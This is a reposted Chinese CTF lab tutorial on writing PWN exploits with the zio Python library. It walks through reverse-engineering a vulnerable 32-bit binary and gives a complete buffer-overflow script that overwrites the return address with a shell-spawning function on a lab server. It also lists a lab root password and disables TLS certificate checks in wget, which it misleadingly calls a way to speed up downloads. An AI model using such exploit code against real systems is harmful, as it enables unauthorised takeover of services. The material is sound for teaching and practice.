基于zio编写PWN代码

基于zio编写PWN代码,第1张

基于zio编写PWN代码

目录
  • 预备知识
    • 一、CTF PWN基础知识
    • 二、zio简介
      • 1.导入zio库
      • 2.与远程服务器建立网络连接
      • 3.从远程服务器读取数据
      • 4.向远程服务器发送数据
      • 5.与服务器建立shell交互
    • 三、pip
    • 四、checksec脚本
  • 实验目的
  • 实验环境
  • 实验步骤一
  • 实验步骤二
  • 实验步骤三

预备知识 一、CTF PWN基础知识

《CTF PWN进阶训练》系列实验要求实验者已经了解如下相关的基础知识,包括:
1.理解基本的汇编指令及语句;
2.掌握IDA Pro的基本用法;
3.熟悉网络编程(socket)基本原理;
4.编写简单的Python代码;
5.了解Linux基础 *** 作;
如果对上面的知识点还不是很熟悉,建议先学习合天网安实验室提供的《CTF-PWN系列汇总》实验课程。

二、zio简介

zio是一个专门为CTF PWN开发的Python库,基于zio可以方便实现对远程服务器上的服务程序进行数据读写 *** 作。不仅如此,zio甚至还支持对本地程序的数据读写 *** 作。
zio是一个开源项目,其在GitHub上的官方项目地址为https://github.com/zTrix/zio。zio默认只支持Linux和Mac OSX系统,如果需要在Windows下使用可能需要额外安装一些Python扩展包,或者需要自己对zio的代码进行相关的修改。
在PWN解题中,zio最常用的几个函数如下:

1.导入zio库

from zio import *,表示从zio库中引入所有变量、类以及函数等。

2.与远程服务器建立网络连接

zio(target),其中target是一个元组,即(IP, PORT),其中IP是字符串形式的IP地址,PORT是数字形式的端口号。

3.从远程服务器读取数据

read,直接从远程服务器读取数据;
readline,从远程服务器读取一行数据;
read_until(pattern),从远程服务器读取数据,直到遇到pattern字符串。

4.向远程服务器发送数据

write,直接向远程服务器写数据;
writeline,向远程服务器写数据(在数据末尾自动添加换行符);

5.与服务器建立shell交互

interact,在成功获取服务器控制权限之后,我们需要建立一个shell来对远程服务器进行管理,使用zio的interact函数即可完成这一功能。
可以看到,基于zio编写代码省去了自己建立socket连接这一过程,而且使用zio封装的read/write接口替代socket的recv/send接口,使得代码更加具有可读性。

三、pip

pip是一款用于安装和管理Python包的工具,基于pip可以快速安装和卸载Python包:使用“pip install 包名”命令可以快速安装指定的Python包,使用“pip uninstall 包名”命令可以快速卸载指定的Python包。
类似的Python包管理工具还有easy_install、setuptools等。需要注意的是,安装pip之前可能需要先安装好setuptools包。

四、checksec脚本

*** 作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP、ASLR等。在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了DEP(Linux下对应NX)、ASLR(Linux下对应PIE)等机制,例如存在DEP(NX)的话就不能直接执行栈上的数据,存在ASLR的话各个系统调用的地址就是随机化的。
使用checksec.sh脚本可以方便的查看可执行程序是否启用了这些安全机制,checksec脚本的下载地址为http://www.trapkit.de/tools/checksec.sh。

实验目的

1)熟悉CTF竞赛中复杂PWN题型的题本解法;
2)学会使用checksec脚本查看二进制文件的安全属性;
3)掌握基于zio编写利用代码的基本方法。

实验环境


服务器:CentOS 6.5,IP地址:10.1.1.101
测试机:Windows XP,IP地址随机
辅助工具:Python,IDA Pro,PuTTY,checksec

实验步骤一

题目描述:
在CentOS服务器的/home/test/pwn/1目录下存放了pwn1、start_service.py两个文件,运行start_service.py即可启动pwn1程序并在服务器的9991端口上监听网络连接。
pwn1程序的副本同时存放在Windows XP实验机的C:CTFPWN21目录下,请对pwn1程序进行分析,并编写漏洞利用代码来获取CentOS服务器的控制权限。
基本环境配置:
工欲善其事,必先利其器!这里先介绍一下各个Python扩展包(setuptools、pip、zio)以及checksec.sh脚本的安装和使用方法,在后面的实验中我们将直接使用配置好的实验环境,而不再对这些基本 *** 作进行讲解。注意,因为实验环境无法连接外部网络,所以这里已经提前配置好了实验环境,本小节的目的是教会大家在自己的电脑上配置实验环境。
1.管理CentOS服务器:
在Windows XP实验机器的C:ToolsPuTTY目录下提供了一个PuTTY.exe,基于PuTTY可以方便的管理CentOS服务器,其中服务器的IP地址为10.1.1.101,端口号为22,用户名为root,密码为vK6jqwnvg。
2.安装setuptools:
setuptools的官方地址为:https://pypi.python.org/pypi/setuptools,在该页面上可以找到setuptools的源代码下载地址为:https://pypi.python.org/packages/source/s/setuptools/setuptools-18.3.2.tar.gz#md5=d30c969065bd384266e411c446a86623,使用PuTTY连接到CentOS服务器之后,执行wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.3.2.tar.gz#md5=d30c969065bd384266e411c446a86623 --no-check-certificate命令即可下载setuptools的源码包。因为下载地址使用的是HTTPS协议,所以这里给wget指定–no-check-certificate参数,这样可以让wget忽略证书校验,加快下载速度。
下载完毕后执行tar -xzf setuptools-18.3.2.tar.gz来进行解压,待解压完毕后通过cd setuptools-18.3.2切换到源码目录,执行python setup.py install即可进行安装。整个安装过程的截图如下图所示:

3.安装pip:
pip的官方地址为https://pypi.python.org/pypi/pip,在该页面上可以找到pip源代码的下载地址为https://pypi.python.org/packages/source/p/pip/pip-7.1.2.tar.gz#md5=3823d2343d9f3aaab21cf9c917710196,同样在CentOS服务器上使用wget下载后进行安装, *** 作过程与安装setuptools的方法类似,这里只给出对应的命令列表:

wget https://pypi.python.org/packages/source/p/pip/pip-7.1.2.tar.gz#md5=3823d2343d9f3aaab21cf9c917710196       --no-check-certificate
tar -xzf pip-7.1.2.tar.gz
cd pip-7.1.2
python setup.py install

4.安装zio:
安装好pip之后我们就可以快速安装zio了,在CentOS上执行pip install termcolor以及pip install zio两条命令即可,如下图所示:

5.checksec.sh的使用:
checksec.sh的官方下载地址为http://www.trapkit.de/tools/checksec.sh,同样可以使用wget来进行下载,这里我们已经复制了一份到/home/test/pwn/1目录下。我们使用cd /home/test/pwn/1来进行目录切换后,执行./checksec --file pwn1来查看pwn1程序的安全属性,可以看到程序启用了NX(提示NX enabled),如下图所示:

实验步骤二

逆向分析pwn1程序:
在Windows XP实验机器中进入到C:CTFPWN21文件夹,使用鼠标选中pwn1文件之后单击右键,在d出的右键菜单中选择“IDAPro x32”菜单项即可使用IDA Pro打开pwn1程序(因为pwn1是一个32位的ELF文件,所以我们使用IDAPro x32来进行分析;如果是分析64位的可执行程序,相应的选择IDAPro x64来进行分析即可)。
待IDA分析完毕之后,会自动定位到main函数的反汇编指令列表,将鼠标光标定位到main函数里面并按下F5键,即可看到main函数对应的伪代码,如下图所示:

可以看到在main函数中一共有三行代码,即先后调用了be_nice_to_people、vulnerable_function、write三个函数,其中write函数用于打印一个“Hello, World”字符串,因此我们只需要分析前面两个函数即可。
1.be_nice_to_people:
在main函数的伪代码中双击be_nice_to_people函数,即可看到函数对应的伪代码,如下图所示:

这里的代码逻辑为:首先通过getegid获取进程的有效组ID(effective group ID),随后将有效组ID当作参数传递给setresgid函数。setresgid用于设置真实的、有效的和保存过的组标识号。综上所述,be_nice_to_people的作用就是设置pwn1进程自身的一些权限信息,这里不做过多介绍。
2.vulnerable_function:
在be_nice_to_people的伪代码中按下ESC键即可返回到main函数的伪代码,同时在main函数中双击vulnerable_function函数,即可看到函数对应的伪代码,如下图所示:

我们可以看到这里在栈上定义了一个缓冲区,并通过read函数来读取数据存放到这个缓冲区里面(最多读取0x100个字节),如果这里的buf比较小的话就会发生缓冲区溢出,但是在伪代码中我们看不出来buf到底有多大,所以我们可以切换到反汇编视图来进行分析。
在IDA的“IDA View-A”选项卡中,可以看到vulnerable_function对应的反汇编指令列表如下图所示:

可以看出来这里缓冲区的起始地址为ebp-0x88,而read指定的字节数为0x100,显然会发生缓冲区溢出。但是读取多少数据的时候才会覆盖函数的返回地址呢?我们画个图分析一下栈上的数据分布就很容易理解了。栈上的数据分布如下图所示:

可以看出要覆盖到返回地址需要0x88+4=140字节的数据,即第141~144字节的数据可以用于覆盖函数的返回地址。

实验步骤三

基于zio编写漏洞利用代码:
通过实验步骤二的分析,我们已经知道pwn1程序在vulnerable_function中调用read函数读取数据时存在缓冲区溢出,并且输入数据的第141~144字节可以用于覆盖函数的返回地址。但是,在实验步骤一中我们知道pwn1程序启用了NX,即无法把栈上的数据当作代码来执行,所以我们还需要想一个支持代码执行的方法。一种可以尝试的思路是看看pwn1中是否有调用system("/bin/bash")的代码,如果有的话直接控制EIP跳转过去执行即可。
现在继续使用IDA进行分析。在IDA中切换到imports选项卡查看程序的导入函数列表,发现其中存在有对system函数的调用,如下图所示:

双击imports选项卡中的system条目切换到反汇编视图,之后使用鼠标选中system并按下x按键来查看交叉引用,发现上一层是_system。同样,我们查看_system的交叉引用,发现一个名为not_called的函数,这个函数的代码就是执行system("/bin/bash")语句,如下图所示:

这里的not_called就是我们要找的函数,对应的地址为0x080484A4,我们控制EIP跳转到0x080484A4执行代码即可。现在,我们只需要编写一段利用代码即可获取CentOS服务器的控制权限。完整的利用代码如下(因为zio可以十分方便的安装在Linux上,所以这里的测试代码放在CentOS服务器上的/home/test/pwn/1/pwn.py文件中):

from zio import *
def pwn_server():
    # 调用zio构造函数与服务器建立连接,IP为10.1.1.101,端口为9991
    io = zio(("10.1.1.101", 9991))
    # l32为zio提供的一个用于将32位整数(小端模式)转换为字符串的函数
    # 这里将not_called函数的起始地址进行转换
    ret_addr = l32(0x080484A4)
    # 构建攻击载荷
    payload = 'A'*140 + ret_addr
    # 向服务器发送数据
    io.writeline(payload)
    # 获取服务器控制权限后形成一个shell交互环境
    io.interact()  
if __name__ == "__main__":
    pwn_server()

为了方便演示,我们需要打开两个PuTTY:
1.第一个PuTTY用于执行/home/test/pwn/1/start_service.py,以启动pwn1并在服务器上进行监听,使用cd命令切换到/home/test/pwn/1后执行python start_service.py命令即可;
2.第二个PuTTY用于执行/home/test/pwn/1/pwn.py演示攻击效果,通过cd命令切换到/home/test/pwn/1后执行python pwn.py命令即可。
演示截图如下所示:

为了更加真实的演示攻击效果,这里同时在Windows XP实验机器的C:CTFPWN21目录下提供了一个pwn.py脚本(这是基于socket/telnetlib实现的漏洞利用代码),在服务器上执行start_service.py之后,运行Windows XP下的C:CTFPWN21pwn.py即可获取服务器的控制权限,如下图所示:

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5652213.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存